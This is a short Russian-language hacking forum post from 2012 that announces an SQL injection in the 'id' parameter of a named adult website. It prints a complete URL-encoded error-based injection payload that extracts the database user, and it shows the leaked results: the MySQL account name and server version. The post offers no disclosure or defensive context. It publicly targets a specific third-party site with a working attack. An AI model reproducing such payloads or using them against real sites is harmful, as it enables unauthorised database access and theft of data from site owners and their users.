
05.08.2012, 13:41
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
MySQL: GET SQLi in param 'id' in URL:http://orgasmof.ru
Код:
http://orgasmof.ru/?id=1%27%20AND%20%28SELECT%203101%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6473763a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28user%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a6d68743a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27YQPM%27=%27YQPM
user(): orgasm@localhost
version(): 5.1.49-3
|
|
|